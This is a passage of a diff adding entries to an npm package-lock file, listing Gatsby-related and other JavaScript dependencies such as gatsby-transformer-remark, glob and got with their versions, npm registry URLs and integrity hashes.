+                    "integrity": "sha512-yhlQgA6mnOJUKOsRUFsgJdQCvkKhcz8tlZG5HBQfReYZy46OwLcY+Zia0mtdHsOo9y/hP+CxMN0TU9QxoOtG4g==",
+                    "requires": {
+                        "graceful-fs": "^4.2.0",
+                        "jsonfile": "^4.0.0",
+                        "universalify": "^0.1.0"
+                    }
+                },
+                "jsonfile": {
+                    "version": "4.0.0",
+                    "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-4.0.0.tgz",
+                    "integrity": "sha512-m6F1R3z8jjlf2imQHS2Qez5sjKWQzbuuhuJ/FKYFRZvPE3PuHcSMVZzfsLhGVOkfd20obL5SWEBew5ShlquNxg==",
+                    "requires": {
+                        "graceful-fs": "^4.1.6"
+                    }
+                }
+            }
+        },
+        "gatsby-transformer-remark": {
+            "version": "2.8.14",
+            "resolved": "https://registry.npmjs.org/gatsby-transformer-remark/-/gatsby-transformer-remark-2.8.14.tgz",
+            "integrity": "sha512-nkNBby9TOIGAqMzAMkG8hqTr4d5TLkqBXwCtOs0pOqKAikwvc0jodvY6hE5j2g8tVDA9gkPzOyRhQfOsuq3Z+A==",
+            "requires": {
+                "@babel/runtime": "^7.10.2",
+                "bluebird": "^3.7.2",
+                "gatsby-core-utils": "^1.3.4",
+                "gray-matter": "^4.0.2",
+                "hast-util-raw": "^4.0.0",
+                "hast-util-to-html": "^4.0.1",
+                "lodash": "^4.17.15",
+                "mdast-util-to-hast": "^3.0.4",
+                "mdast-util-to-string": "^1.1.0",
+                "mdast-util-toc": "^5.0",
+                "remark": "^10.0.1",
+                "remark-parse": "^6.0.3",
+                "remark-retext": "^3.1.3",
+                "remark-stringify": "6.0.4",
+                "retext-english": "^3.0.4",
+                "sanitize-html": "^1.25.0",
+                "underscore.string": "^3.3.5",
+                "unified": "^6.2.0",
+                "unist-util-remove-position": "^1.1.4",
+                "unist-util-select": "^1.5.0",
+                "unist-util-visit": "^1.4.1"
+            },
+            "dependencies": {
+                "ccount": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/ccount/-/ccount-1.1.0.tgz",
+                    "integrity": "sha512-vlNK021QdI7PNeiUh/lKkC/mNHHfV0m/Ad5JoI0TYtlBnJAslM/JIkm/tGC88bkLIwO6OQ5uV6ztS6kVAtCDlg=="
+                },
+                "character-entities": {
+                    "version": "1.2.4",
+                    "resolved": "https://registry.npmjs.org/character-entities/-/character-entities-1.2.4.tgz",
+                    "integrity": "sha512-iBMyeEHxfVnIakwOuDXpVkc54HijNgCyQB2w0VfGQThle6NXn50zU6V/u+LDhxHcDUPojn6Kpga3PTAD8W1bQw=="
+                },
+                "character-entities-html4": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-entities-html4/-/character-entities-html4-1.1.4.tgz",
+                    "integrity": "sha512-HRcDxZuZqMx3/a+qrzxdBKBPUpxWEq9xw2OPZ3a/174ihfrQKVsFhqtthBInFy1zZ9GgZyFXOatNujm8M+El3g=="
+                },
+                "character-entities-legacy": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-entities-legacy/-/character-entities-legacy-1.1.4.tgz",
+                    "integrity": "sha512-3Xnr+7ZFS1uxeiUDvV02wQ+QDbc55o97tIV5zHScSPJpcLm/r0DFPcoY3tYRp+VZukxuMeKgXYmsXQHO05zQeA=="
+                },
+                "character-reference-invalid": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/character-reference-invalid/-/character-reference-invalid-1.1.4.tgz",
+                    "integrity": "sha512-mKKUkUbhPpQlCOfIuZkvSEgktjPFIsZKRRbC6KWVEMvlzblj3i3asQv5ODsrwt0N3pHAEvjP8KTQPHkp0+6jOg=="
+                },
+                "is-alphabetical": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-alphabetical/-/is-alphabetical-1.0.4.tgz",
+                    "integrity": "sha512-DwzsA04LQ10FHTZuL0/grVDk4rFoVH1pjAToYwBrHSxcrBIGQuXrQMtD5U1b0U2XVgKZCTLLP8u2Qxqhy3l2Vg=="
+                },
+                "is-alphanumerical": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-alphanumerical/-/is-alphanumerical-1.0.4.tgz",
+                    "integrity": "sha512-UzoZUr+XfVz3t3v4KyGEniVL9BDRoQtY7tOyrRybkVNjDFWyo1yhXNGrrBTQxp3ib9BLAWs7k2YKBQsFRkZG9A==",
+                    "requires": {
+                        "is-alphabetical": "^1.0.0",
+                        "is-decimal": "^1.0.0"
+                    }
+                },
+                "is-decimal": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-decimal/-/is-decimal-1.0.4.tgz",
+                    "integrity": "sha512-RGdriMmQQvZ2aqaQq3awNA6dCGtKpiDFcOzrTWrDAT2MiWrKQVPmxLGHl7Y2nNu6led0kEyoX0enY0qXYsv9zw=="
+                },
+                "is-hexadecimal": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/is-hexadecimal/-/is-hexadecimal-1.0.4.tgz",
+                    "integrity": "sha512-gyPJuv83bHMpocVYoqof5VDiZveEoGoFL8m3BXNb2VW8Xs+rz9kqO8LOQ5DH6EsuvilT1ApazU0pyl+ytbPtlw=="
+                },
+                "is-plain-obj": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-1.1.0.tgz",
+                    "integrity": "sha512-yvkRyxmFKEOQ4pNXCmJG5AEQNlXJS5LaONXo5/cLdTZdWvsZ1ioJEonLGAosKlMWE8lwUy/bJzMjcw8az73+Fg=="
+                },
+                "longest-streak": {
+                    "version": "2.0.4",
+                    "resolved": "https://registry.npmjs.org/longest-streak/-/longest-streak-2.0.4.tgz",
+                    "integrity": "sha512-vM6rUVCVUJJt33bnmHiZEvr7wPT78ztX7rojL+LW51bHtLh6HTjx84LA5W4+oa6aKEJA7jJu5LR6vQRBpA5DVg=="
+                },
+                "markdown-table": {
+                    "version": "1.1.3",
+                    "resolved": "https://registry.npmjs.org/markdown-table/-/markdown-table-1.1.3.tgz",
+                    "integrity": "sha512-1RUZVgQlpJSPWYbFSpmudq5nHY1doEIv89gBtF0s4gW1GF2XorxcA/70M5vq7rLv0a6mhOUccRsqkwhwLCIQ2Q=="
+                },
+                "mdast-util-compact": {
+                    "version": "1.0.4",
+                    "resolved": "https://registry.npmjs.org/mdast-util-compact/-/mdast-util-compact-1.0.4.tgz",
+                    "integrity": "sha512-3YDMQHI5vRiS2uygEFYaqckibpJtKq5Sj2c8JioeOQBU6INpKbdWzfyLqFFnDwEcEnRFIdMsguzs5pC1Jp4Isg==",
+                    "requires": {
+                        "unist-util-visit": "^1.1.0"
+                    }
+                },
+                "mdast-util-to-string": {
+                    "version": "1.1.0",
+                    "resolved": "https://registry.npmjs.org/mdast-util-to-string/-/mdast-util-to-string-1.1.0.tgz",
+                    "integrity": "sha512-jVU0Nr2B9X3MU4tSK7JP1CMkSvOj7X5l/GboG1tKRw52lLF1x2Ju92Ms9tNetCcbfX3hzlM73zYo2NKkWSfF/A=="
+                },
+                "parse-entities": {
+                    "version": "1.2.2",
+                    "resolved": "https://registry.npmjs.org/parse-entities/-/parse-entities-1.2.2.tgz",
+                    "integrity": "sha512-NzfpbxW/NPrzZ/yYSoQxyqUZMZXIdCfE0OIN4ESsnptHJECoUk3FZktxNuzQf4tjt5UEopnxpYJbvYuxIFDdsg==",
+                    "requires": {
+                        "character-entities": "^1.0.0",
+                        "character-entities-legacy": "^1.0.0",
+                        "character-reference-invalid": "^1.0.0",
+                        "is-alphanumerical": "^1.0.0",
+                        "is-decimal": "^1.0.0",
+                        "is-hexadecimal": "^1.0.0"
+                    }
+                },
+                "remark-stringify": {
+                    "version": "6.0.4",
+                    "resolved": "https://registry.npmjs.org/remark-stringify/-/remark-stringify-6.0.4.tgz",
+                    "integrity": "sha512-eRWGdEPMVudijE/psbIDNcnJLRVx3xhfuEsTDGgH4GsFF91dVhw5nhmnBppafJ7+NWINW6C7ZwWbi30ImJzqWg==",
+                    "requires": {
+                        "ccount": "^1.0.0",
+                        "is-alphanumeric": "^1.0.0",
+                        "is-decimal": "^1.0.0",
+                        "is-whitespace-character": "^1.0.0",
+                        "longest-streak": "^2.0.1",
+                        "markdown-escapes": "^1.0.0",
+                        "markdown-table": "^1.1.0",
+                        "mdast-util-compact": "^1.0.0",
+                        "parse-entities": "^1.0.2",
+                        "repeat-string": "^1.5.4",
+                        "state-toggle": "^1.0.0",
+                        "stringify-entities": "^1.0.1",
+                        "unherit": "^1.0.4",
+                        "xtend": "^4.0.1"
+                    }
+                },
+                "stringify-entities": {
+                    "version": "1.3.2",
+                    "resolved": "https://registry.npmjs.org/stringify-entities/-/stringify-entities-1.3.2.tgz",
+                    "integrity": "sha512-nrBAQClJAPN2p+uGCVJRPIPakKeKWZ9GtBCmormE7pWOSlHat7+x5A8gx85M7HM5Dt0BP3pP5RhVW77WdbJJ3A==",
+                    "requires": {
+                        "character-entities-html4": "^1.0.0",
+                        "character-entities-legacy": "^1.0.0",
+                        "is-alphanumerical": "^1.0.0",
+                        "is-hexadecimal": "^1.0.0"
+                    }
+                },
+                "unified": {
+                    "version": "6.2.0",
+                    "resolved": "https://registry.npmjs.org/unified/-/unified-6.2.0.tgz",
+                    "integrity": "sha512-1k+KPhlVtqmG99RaTbAv/usu85fcSRu3wY8X+vnsEhIxNP5VbVIDiXnLqyKIG+UMdyTg0ZX9EI6k2AfjJkHPtA==",
+                    "requires": {
+                        "bail": "^1.0.0",
+                        "extend": "^3.0.0",
+                        "is-plain-obj": "^1.1.0",
+                        "trough": "^1.0.0",
+                        "vfile": "^2.0.0",
+                        "x-is-string": "^0.1.0"
+                    }
+                },
+                "unist-util-is": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/unist-util-is/-/unist-util-is-3.0.0.tgz",
+                    "integrity": "sha512-sVZZX3+kspVNmLWBPAB6r+7D9ZgAFPNWm66f7YNb420RlQSbn+n8rG8dGZSkrER7ZIXGQYNm5pqC3v3HopH24A=="
+                },
+                "unist-util-remove-position": {
+                    "version": "1.1.4",
+                    "resolved": "https://registry.npmjs.org/unist-util-remove-position/-/unist-util-remove-position-1.1.4.tgz",
+                    "integrity": "sha512-tLqd653ArxJIPnKII6LMZwH+mb5q+n/GtXQZo6S6csPRs5zB0u79Yw8ouR3wTw8wxvdJFhpP6Y7jorWdCgLO0A==",
+                    "requires": {
+                        "unist-util-visit": "^1.1.0"
+                    }
+                },
+                "unist-util-stringify-position": {
+                    "version": "1.1.2",
+                    "resolved": "https://registry.npmjs.org/unist-util-stringify-position/-/unist-util-stringify-position-1.1.2.tgz",
+                    "integrity": "sha512-pNCVrk64LZv1kElr0N1wPiHEUoXNVFERp+mlTg/s9R5Lwg87f9bM/3sQB99w+N9D/qnM9ar3+AKDBwo/gm/iQQ=="
+                },
+                "unist-util-visit": {
+                    "version": "1.4.1",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit/-/unist-util-visit-1.4.1.tgz",
+                    "integrity": "sha512-AvGNk7Bb//EmJZyhtRUnNMEpId/AZ5Ph/KUpTI09WHQuDZHKovQ1oEv3mfmKpWKtoMzyMC4GLBm1Zy5k12fjIw==",
+                    "requires": {
+                        "unist-util-visit-parents": "^2.0.0"
+                    }
+                },
+                "unist-util-visit-parents": {
+                    "version": "2.1.2",
+                    "resolved": "https://registry.npmjs.org/unist-util-visit-parents/-/unist-util-visit-parents-2.1.2.tgz",
+                    "integrity": "sha512-DyN5vD4NE3aSeB+PXYNKxzGsfocxp6asDc2XXE3b0ekO2BaRUpBicbbUygfSvYfUz1IkmjFR1YF7dPklraMZ2g==",
+                    "requires": {
+                        "unist-util-is": "^3.0.0"
+                    }
+                },
+                "vfile": {
+                    "version": "2.3.0",
+                    "resolved": "https://registry.npmjs.org/vfile/-/vfile-2.3.0.tgz",
+                    "integrity": "sha512-ASt4mBUHcTpMKD/l5Q+WJXNtshlWxOogYyGYYrg4lt/vuRjC1EFQtlAofL5VmtVNIZJzWYFJjzGWZ0Gw8pzW1w==",
+                    "requires": {
+                        "is-buffer": "^1.1.4",
+                        "replace-ext": "1.0.0",
+                        "unist-util-stringify-position": "^1.0.0",
+                        "vfile-message": "^1.0.0"
+                    }
+                },
+                "vfile-message": {
+                    "version": "1.1.1",
+                    "resolved": "https://registry.npmjs.org/vfile-message/-/vfile-message-1.1.1.tgz",
+                    "integrity": "sha512-1WmsopSGhWt5laNir+633LszXvZ+Z/lxveBf6yhGsqnQIhlhzooZae7zV6YVM1Sdkw68dtAW3ow0pOdPANugvA==",
+                    "requires": {
+                        "unist-util-stringify-position": "^1.1.1"
+                    }
+                }
+            }
+        },
+        "gauge": {
+            "version": "2.7.4",
+            "resolved": "https://registry.npmjs.org/gauge/-/gauge-2.7.4.tgz",
+            "integrity": "sha512-14x4kjc6lkD3ltw589k0NrPD6cCNTD6CWoVUNpB85+DrtONoZn+Rug6xZU5RvSC4+TZPxA5AnBibQYAvZn41Hg==",
+            "requires": {
+                "aproba": "^1.0.3",
+                "console-control-strings": "^1.0.0",
+                "has-unicode": "^2.0.0",
+                "object-assign": "^4.1.0",
+                "signal-exit": "^3.0.0",
+                "string-width": "^1.0.1",
+                "strip-ansi": "^3.0.1",
+                "wide-align": "^1.1.0"
+            },
+            "dependencies": {
+                "ansi-regex": {
+                    "version": "2.1.1",
+                    "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-2.1.1.tgz",
+                    "integrity": "sha512-TIGnTpdo+E3+pCyAluZvtED5p5wCqLdezCyhPZzKPcxvFplEt4i+W7OONCKgeZFT3+y5NZZfOOS/Bdcanm1MYA=="
+                },
+                "is-fullwidth-code-point": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-1.0.0.tgz",
+                    "integrity": "sha512-1pqUqRjkhPJ9miNq9SwMfdvi6lBJcd6eFxvfaivQhaH3SgisfiuudvFntdKOmxuee/77l+FPjKrQjWvmPjWrRw==",
+                    "requires": {
+                        "number-is-nan": "^1.0.0"
+                    }
+                },
+                "string-width": {
+                    "version": "1.0.2",
+                    "resolved": "https://registry.npmjs.org/string-width/-/string-width-1.0.2.tgz",
+                    "integrity": "sha512-0XsVpQLnVCXHJfyEs8tC0zpTVIr5PKKsQtkT29IwupnPTjtPmQ3xT/4yCREF9hYkV/3M3kzcUTSAZT6a6h81tw==",
+                    "requires": {
+                        "code-point-at": "^1.0.0",
+                        "is-fullwidth-code-point": "^1.0.0",
+                        "strip-ansi": "^3.0.0"
+                    }
+                },
+                "strip-ansi": {
+                    "version": "3.0.1",
+                    "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-3.0.1.tgz",
+                    "integrity": "sha512-VhumSSbBqDTP8p2ZLKj40UjBCV4+v8bUSEpUb4KjRgWk9pbqGF4REFj6KEagidb2f/M6AzC0EmFyDNGaw9OCzg==",
+                    "requires": {
+                        "ansi-regex": "^2.0.0"
+                    }
+                }
+            }
+        },
+        "gaze": {
+            "version": "1.1.3",
+            "resolved": "https://registry.npmjs.org/gaze/-/gaze-1.1.3.tgz",
+            "integrity": "sha512-BRdNm8hbWzFzWHERTrejLqwHDfS4GibPoq5wjTPIoJHoBtKGPg3xAFfxmM+9ztbXelxcf2hwQcaz1PtmFeue8g==",
+            "requires": {
+                "globule": "^1.0.0"
+            }
+        },
+        "gensync": {
+            "version": "1.0.0-beta.2",
+            "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
+            "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg=="
+        },
+        "get-caller-file": {
+            "version": "2.0.5",
+            "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
+            "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg=="
+        },
+        "get-intrinsic": {
+            "version": "1.1.2",
+            "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.1.2.tgz",
+            "integrity": "sha512-Jfm3OyCxHh9DJyc28qGk+JmfkpO41A4XkneDSujN9MDXrm4oDKdHvndhZ2dN94+ERNfkYJWDclW6k2L/ZGHjXA==",
+            "requires": {
+                "function-bind": "^1.1.1",
+                "has": "^1.0.3",
+                "has-symbols": "^1.0.3"
+            }
+        },
+        "get-own-enumerable-property-symbols": {
+            "version": "3.0.2",
+            "resolved": "https://registry.npmjs.org/get-own-enumerable-property-symbols/-/get-own-enumerable-property-symbols-3.0.2.tgz",
+            "integrity": "sha512-I0UBV/XOz1XkIJHEUDMZAbzCThU/H8DxmSfmdGcKPnVhu2VfFqr34jr9777IyaTYvxjedWhqVIilEDsCdP5G6g=="
+        },
+        "get-port": {
+            "version": "3.2.0",
+            "resolved": "https://registry.npmjs.org/get-port/-/get-port-3.2.0.tgz",
+            "integrity": "sha512-x5UJKlgeUiNT8nyo/AcnwLnZuZNcSjSw0kogRB+Whd1fjjFq4B1hySFxSFWWSn4mIBzg3sRNUDFYc4g5gjPoLg=="
+        },
+        "get-stdin": {
+            "version": "4.0.1",
+            "resolved": "https://registry.npmjs.org/get-stdin/-/get-stdin-4.0.1.tgz",
+            "integrity": "sha512-F5aQMywwJ2n85s4hJPTT9RPxGmubonuB10MNYo17/xph174n2MIR33HRguhzVag10O/npM7SPk73LMZNP+FaWw=="
+        },
+        "get-stream": {
+            "version": "5.2.0",
+            "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-5.2.0.tgz",
+            "integrity": "sha512-nBF+F1rAZVCu/p7rjzgA+Yb4lfYXrpl7a6VmJrU8wF9I1CKvP/QwPNZHnOlwbTkY6dvtFIzFMSyQXbLoTQPRpA==",
+            "requires": {
+                "pump": "^3.0.0"
+            }
+        },
+        "get-symbol-description": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/get-symbol-description/-/get-symbol-description-1.0.0.tgz",
+            "integrity": "sha512-2EmdH1YvIQiZpltCNgkuiUnyukzxM/R6NDJX31Ke3BG1Nq5b0S2PhX59UKi9vZpPDQVdqn+1IcaAwnzTT5vCjw==",
+            "requires": {
+                "call-bind": "^1.0.2",
+                "get-intrinsic": "^1.1.1"
+            }
+        },
+        "get-value": {
+            "version": "2.0.6",
+            "resolved": "https://registry.npmjs.org/get-value/-/get-value-2.0.6.tgz",
+            "integrity": "sha512-Ln0UQDlxH1BapMu3GPtf7CuYNwRZf2gwCuPqbyG6pB8WfmFpzqcy4xtAaAMUhnNqjMKTiCPZG2oMT3YSx8U2NA=="
+        },
+        "getpass": {
+            "version": "0.1.7",
+            "resolved": "https://registry.npmjs.org/getpass/-/getpass-0.1.7.tgz",
+            "integrity": "sha512-0fzj9JxOLfJ+XGLhR8ze3unN0KZCgZwiSSDz168VERjK8Wl8kVSdcu2kspd4s4wtAa1y/qrVRiAA0WclVsu0ng==",
+            "requires": {
+                "assert-plus": "^1.0.0"
+            }
+        },
+        "git-up": {
+            "version": "4.0.5",
+            "resolved": "https://registry.npmjs.org/git-up/-/git-up-4.0.5.tgz",
+            "integrity": "sha512-YUvVDg/vX3d0syBsk/CKUTib0srcQME0JyHkL5BaYdwLsiCslPWmDSi8PUMo9pXYjrryMcmsCoCgsTpSCJEQaA==",
+            "requires": {
+                "is-ssh": "^1.3.0",
+                "parse-url": "^6.0.0"
+            }
+        },
+        "github-slugger": {
+            "version": "1.4.0",
+            "resolved": "https://registry.npmjs.org/github-slugger/-/github-slugger-1.4.0.tgz",
+            "integrity": "sha512-w0dzqw/nt51xMVmlaV1+JRzN+oCa1KfcgGEWhxUG16wbdA+Xnt/yoFO8Z8x/V82ZcZ0wy6ln9QDup5avbhiDhQ=="
+        },
+        "glob": {
+            "version": "7.2.3",
+            "resolved": "https://registry.npmjs.org/glob/-/glob-7.2.3.tgz",
+            "integrity": "sha512-nFR0zLpU2YCaRxwoCJvL6UvCH2JFyFVIvwTLsIf21AuHlMskA1hhTdk+LlYJtOlYt9v6dvszD2BGRqBL+iQK9Q==",
+            "requires": {
+                "fs.realpath": "^1.0.0",
+                "inflight": "^1.0.4",
+                "inherits": "2",
+                "minimatch": "^3.1.1",
+                "once": "^1.3.0",
+                "path-is-absolute": "^1.0.0"
+            }
+        },
+        "glob-base": {
+            "version": "0.3.0",
+            "resolved": "https://registry.npmjs.org/glob-base/-/glob-base-0.3.0.tgz",
+            "integrity": "sha512-ab1S1g1EbO7YzauaJLkgLp7DZVAqj9M/dvKlTt8DkXA2tiOIcSMrlVI2J1RZyB5iJVccEscjGn+kpOG9788MHA==",
+            "requires": {
+                "glob-parent": "^2.0.0",
+                "is-glob": "^2.0.0"
+            },
+            "dependencies": {
+                "glob-parent": {
+                    "version": "2.0.0",
+                    "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-2.0.0.tgz",
+                    "integrity": "sha512-JDYOvfxio/t42HKdxkAYaCiBN7oYiuxykOxKxdaUW5Qn0zaYN3gRQWolrwdnf0shM9/EP0ebuuTmyoXNr1cC5w==",
+                    "requires": {
+                        "is-glob": "^2.0.0"
+                    }
+                },
+                "is-extglob": {
+                    "version": "1.0.0",
+                    "resolved": "https://registry.npmjs.org/is-extglob/-/is-extglob-1.0.0.tgz",
+                    "integrity": "sha512-7Q+VbVafe6x2T+Tu6NcOf6sRklazEPmBoB3IWk3WdGZM2iGUwU/Oe3Wtq5lSEkDTTlpp8yx+5t4pzO/i9Ty1ww=="
+                },
+                "is-glob": {
+                    "version": "2.0.1",
+                    "resolved": "https://registry.npmjs.org/is-glob/-/is-glob-2.0.1.tgz",
+                    "integrity": "sha512-a1dBeB19NXsf/E0+FHqkagizel/LQw2DjSQpvQrj3zT+jYPpaUCryPnrQajXKFLCMuf4I6FhRpaGtw4lPrG6Eg==",
+                    "requires": {
+                        "is-extglob": "^1.0.0"
+                    }
+                }
+            }
+        },
+        "glob-parent": {
+            "version": "5.1.2",
+            "resolved": "https://registry.npmjs.org/glob-parent/-/glob-parent-5.1.2.tgz",
+            "integrity": "sha512-AOIgSQCepiJYwP3ARnGx+5VnTu2HBYdzbGP45eLw1vr3zB3vZLeyed1sC9hnbcOc9/SrMyM5RPQrkGz4aS9Zow==",
+            "requires": {
+                "is-glob": "^4.0.1"
+            }
+        },
+        "global": {
+            "version": "4.4.0",
+            "resolved": "https://registry.npmjs.org/global/-/global-4.4.0.tgz",
+            "integrity": "sha512-wv/LAoHdRE3BeTGz53FAamhGlPLhlssK45usmGFThIi4XqnBmjKQ16u+RNbP7WvigRZDxUsM0J3gcQ5yicaL0w==",
+            "requires": {
+                "min-document": "^2.19.0",
+                "process": "^0.11.10"
+            }
+        },
+        "global-dirs": {
+            "version": "3.0.0",
+            "resolved": "https://registry.npmjs.org/global-dirs/-/global-dirs-3.0.0.tgz",
+            "integrity": "sha512-v8ho2DS5RiCjftj1nD9NmnfaOzTdud7RRnVd9kFNOjqZbISlx5DQ+OrTkywgd0dIt7oFCvKetZSHoHcP3sDdiA==",
+            "requires": {
+                "ini": "2.0.0"
+            }
+        },
+        "global-modules": {
+            "version": "1.0.0",
+            "resolved": "https://registry.npmjs.org/global-modules/-/global-modules-1.0.0.tgz",
+            "integrity": "sha512-sKzpEkf11GpOFuw0Zzjzmt4B4UZwjOcG757PPvrfhxcLFbq0wpsgpOqxpxtxFiCG4DtG93M6XRVbF2oGdev7bg==",
+            "requires": {
+                "global-prefix": "^1.0.1",
+                "is-windows": "^1.0.1",
+                "resolve-dir": "^1.0.0"
+            }
+        },
+        "global-prefix": {
+            "version": "1.0.2",
+            "resolved": "https://registry.npmjs.org/global-prefix/-/global-prefix-1.0.2.tgz",
+            "integrity": "sha512-5lsx1NUDHtSjfg0eHlmYvZKv8/nVqX4ckFbM+FrGcQ+04KWcWFo9P5MxPZYSzUvyzmdTbI7Eix8Q4IbELDqzKg==",
+            "requires": {
+                "expand-tilde": "^2.0.2",
+                "homedir-polyfill": "^1.0.1",
+                "ini": "^1.3.4",
+                "is-windows": "^1.0.1",
+                "which": "^1.2.14"
+            },
+            "dependencies": {
+                "ini": {
+                    "version": "1.3.8",
+                    "resolved": "https://registry.npmjs.org/ini/-/ini-1.3.8.tgz",
+                    "integrity": "sha512-JV/yugV2uzW5iMRSiZAyDtQd+nxtUnjeLt0acNdw98kKLrvuRVyB80tsREOE7yvGVgalhZ6RNXCmEHkUKBKxew=="
+                }
+            }
+        },
+        "globals": {
+            "version": "11.12.0",
+            "resolved": "https://registry.npmjs.org/globals/-/globals-11.12.0.tgz",
+            "integrity": "sha512-WOBp/EEGUiIsJSp7wcv/y6MO+lV9UoncWqxuFfm8eBwzWNgyfBd6Gz+IeKQ9jCmyhoH99g15M3T+QaVHFjizVA=="
+        },
+        "globby": {
+            "version": "5.0.0",
+            "resolved": "https://registry.npmjs.org/globby/-/globby-5.0.0.tgz",
+            "integrity": "sha512-HJRTIH2EeH44ka+LWig+EqT2ONSYpVlNfx6pyd592/VF1TbfljJ7elwie7oSwcViLGqOdWocSdu2txwBF9bjmQ==",
+            "requires": {
+                "array-union": "^1.0.1",
+                "arrify": "^1.0.0",
+                "glob": "^7.0.3",
+                "object-assign": "^4.0.1",
+                "pify": "^2.0.0",
+                "pinkie-promise": "^2.0.0"
+            }
+        },
+        "globule": {
+            "version": "1.3.4",
+            "resolved": "https://registry.npmjs.org/globule/-/globule-1.3.4.tgz",
+            "integrity": "sha512-OPTIfhMBh7JbBYDpa5b+Q5ptmMWKwcNcFSR/0c6t8V4f3ZAVBEsKNY37QdVqmLRYSMhOUGYrY0QhSoEpzGr/Eg==",
+            "requires": {
+                "glob": "~7.1.1",
+                "lodash": "^4.17.21",
+                "minimatch": "~3.0.2"
+            },
+            "dependencies": {
+                "glob": {
+                    "version": "7.1.7",
+                    "resolved": "https://registry.npmjs.org/glob/-/glob-7.1.7.tgz",
+                    "integrity": "sha512-OvD9ENzPLbegENnYP5UUfJIirTg4+XwMWGaQfQTY0JenxNvvIKP3U3/tAQSPIu/lHxXYSZmpXlUHeqAIdKzBLQ==",
+                    "requires": {
+                        "fs.realpath": "^1.0.0",
+                        "inflight": "^1.0.4",
+                        "inherits": "2",
+                        "minimatch": "^3.0.4",
+                        "once": "^1.3.0",
+                        "path-is-absolute": "^1.0.0"
+                    }
+                },
+                "minimatch": {
+                    "version": "3.0.8",
+                    "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-3.0.8.tgz",
+                    "integrity": "sha512-6FsRAQsxQ61mw+qP1ZzbL9Bc78x2p5OqNgNpnoAFLTrX8n5Kxph0CsnhmKKNXTWjXqU5L0pGPR7hYk+XWZr60Q==",
+                    "requires": {
+                        "brace-expansion": "^1.1.7"
+                    }
+                }
+            }
+        },
+        "got": {
+            "version": "8.3.2",
+            "resolved": "https://registry.npmjs.org/got/-/got-8.3.2.tgz",
+            "integrity": "sha512-qjUJ5U/hawxosMryILofZCkm3C84PLJS/0grRIpjAwu+Lkxxj5cxeCU25BG0/3mDSpXKTyZr8oh8wIgLaH0QCw==",
+            "requires": {
+                "@sindresorhus/is": "^0.7.0",
+                "cacheable-request": "^2.1.1",
+                "decompress-response": "^3.3.0",
+                "duplexer3": "^0.1.4",
+                "get-stream": "^3.0.0",
+                "into-stream": "^3.1.0",
+                "is-retry-allowed": "^1.1.0",
+                "isurl": "^1.0.0-alpha5",
+                "lowercase-keys": "^1.0.0",
+                "mimic-response": "^1.0.0",
+                "p-cancelable": "^0.4.0",
+                "p-timeout": "^2.0.1",
+                "pify": "^3.0.0",
+                "safe-buffer": "^5.1.1",
+                "timed-out": "^4.0.1",
+                "url-parse-lax": "^3.0.0",
+                "url-to-options": "^1.0.1"
+            },
+            "dependencies": {
+                "@sindresorhus/is": {
+                    "version": "0.7.0",
+                    "resolved": "https://registry.npmjs.org/@sindresorhus/is/-/is-0.7.0.tgz",
+                    "integrity": "sha512-ONhaKPIufzzrlNbqtWFFd+jlnemX6lJAgq9ZeiZtS7I1PIf/la7CW4m83rTXRnVnsMbW2k56pGYu7AUFJD9Pow=="
+                },
+                "cacheable-request": {
+                    "version": "2.1.4",
+                    "resolved": "https://registry.npmjs.org/cacheable-request/-/cacheable-request-2.1.4.tgz",
+                    "integrity": "sha512-vag0O2LKZ/najSoUwDbVlnlCFvhBE/7mGTY2B5FgCBDcRD+oVV1HYTOwM6JZfMg/hIcM6IwnTZ1uQQL5/X3xIQ==",
+                    "requires": {
+                        "clone-response": "1.0.2",
+                        "get-stream": "3.0.0",
+                        "http-cache-semantics": "3.8.1",
+                        "keyv": "3.0.0",
+                        "lowercase-keys": "1.0.0",
+                        "normalize-url": "2.0.1",
+                        "responselike": "1.0.2"
+                    },
+                    "dependencies": {
+                        "lowercase-keys": {
+                            "version": "1.0.0",
+                            "resolved": "https://registry.npmjs.org/lowercase-keys/-/lowercase-keys-1.0.0.tgz",
+                            "integrity": "sha512-RPlX0+PHuvxVDZ7xX+EBVAp4RsVxP/TdDSN2mJYdiq1Lc4Hz7EUSjUI7RZrKKlmrIzVhf6Jo2stj7++gVarS0A=="
+                        }
+                    }
+                },
+                "get-stream": {
+                    "version": "3.0.0",
+                    "resolved": "https://registry.npmjs.org/get-stream/-/get-stream-3.0.0.tgz",
+                    "integrity": "sha512-GlhdIUuVakc8SJ6kK0zAFbiGzRFzNnY4jUuEbV9UROo4Y+0Ny4fjvcZFVTeDA4odpFyOQzaw6hXukJSq/f28sQ=="
+                },
+                "http-cache-semantics": {
+                    "version": "3.8.1",
